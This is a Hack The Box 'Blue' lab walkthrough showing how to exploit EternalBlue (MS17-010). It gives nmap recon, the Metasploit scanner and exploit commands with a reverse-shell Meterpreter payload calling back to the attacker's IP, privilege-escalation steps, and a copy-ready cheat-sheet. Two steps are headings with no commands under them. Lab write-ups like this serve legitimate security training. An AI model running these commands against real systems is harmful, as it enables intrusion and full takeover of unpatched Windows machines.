Hack The Box blue

🎯 Objective

Exploit MS17‑010 (EternalBlue) on the target and obtain shells for user and SYSTEM.

🧭 Environment & Scope

• Target: 10.10.10.40 (HTB “Blue”)
• Focus: SMB (TCP/445), Windows 7 SP1 x64 likely
• Tools: nmap, Metasploit (scanner + exploit + local exploit suggester), standard shell utilities

🔎 Recon

Initial and follow‑up scans:

# Version + default scripts
nmap -sC -sV -oA initial 10.10.10.40

# Focus on SMB ports (example)
nmap -p 445 -sV 10.10.10.40

✅ Vulnerability Check (MS17‑010)

Use Metasploit’s detector to confirm EternalBlue:

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.10.10.40
run

Expected: Host is likely VULNERABLE to MS17‑010! (Windows 7 Professional 7601 SP1 x64).

💥 Exploitation

Exploit with Metasploit’s EternalBlue module and get a Meterpreter session:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set LHOST <your_vpn_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

If needed, use post/multi/recon/local_exploit_suggester to pivot to a privileged session:

background  # background current meterpreter session
use post/multi/recon/local_exploit_suggester
set SESSION <id>
run

Example of trying a suggested local priv‑esc (e.g., MS14‑058) and landing another session:

Confirm session context / gather flags:

🧾 Key Commands (Quick Copy)

# 1) Recon
nmap -sC -sV -oA initial 10.10.10.40

# 2) Check EternalBlue
msfconsole -q
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.10.10.40
run

# 3) Exploit EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set LHOST <vpn_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# 4) (Optional) Suggest/local priv‑esc
use post/multi/recon/local_exploit_suggester
set SESSION <id>
run

🧠 Notes & Lessons Learned

• EternalBlue is still a fast path to shells when SMBv1 is exposed and unpatched.
• Local Exploit Suggester is handy if the first shell isn’t elevated—try migration and re‑run suggestions.
• Always verify session integrity (getuid, sysinfo) before pulling flags.
• Keep a small cheat‑sheet of MS17‑010 workflow to speed up future runs.